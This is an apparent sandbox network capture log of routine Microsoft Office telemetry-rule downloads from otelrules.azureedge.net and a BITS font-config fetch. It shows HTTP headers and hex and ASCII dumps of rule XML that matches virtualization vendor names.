2024-10-28 01:07:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49780	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:25 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 97925bc6-b01e-0002-7e3b-261b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010725Z-r197bdfb6b4bq7nf8mnywhn9e000000005eg0000000028qq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49792	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:25 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: cb951b4e-f01e-0020-727f-28956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010725Z-17c5cb586f6mkpfk79wxvcahc000000004p000000000axzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49791	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:25 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-28 01:07:26 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=215296 Date: Mon, 28 Oct 2024 01:07:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-28 01:07:26 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49794	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:26 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1c275e9e-901e-0048-342c-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010726Z-17c5cb586f64v7xs992vpxwchg00000004cg000000002dyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49795	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:26 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:26 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 0a5cb2df-e01e-0071-6f67-2708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010726Z-r197bdfb6b4skzzvqpzzd3xetg00000003p00000000092yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:26 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49796	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:26 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:26 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010726Z-16849878b78sx229w7g7at4nkg00000002hg00000000by98 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:26 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49797	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:26 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: c1ca1df0-401e-0029-1e3a-269b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010727Z-r197bdfb6b466qclztvgs64z1000000005rg00000000b3xy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49798	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010727Z-16849878b78wc6ln1zsrz6q9w800000003x000000000nh2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49801	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:27 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:27 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 0944ca5a-501e-007b-292d-275ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010727Z-r197bdfb6b4grkz4xgvkar0zcs00000003tg00000000dqfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:27 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49803	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:27 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 25ee231e-901e-0083-60ac-24bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010727Z-15b8d89586fx2hlt035xdehq580000000n600000000026sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49802	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:27 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 7842422a-e01e-003c-05ee-25c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010727Z-15b8d89586f8nxpt6ys645x5v000000005g0000000006t3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49805	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:28 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4814b401-401e-005b-1e73-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010728Z-17c5cb586f6z6tw6g7cmdv30m800000005eg000000007gvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
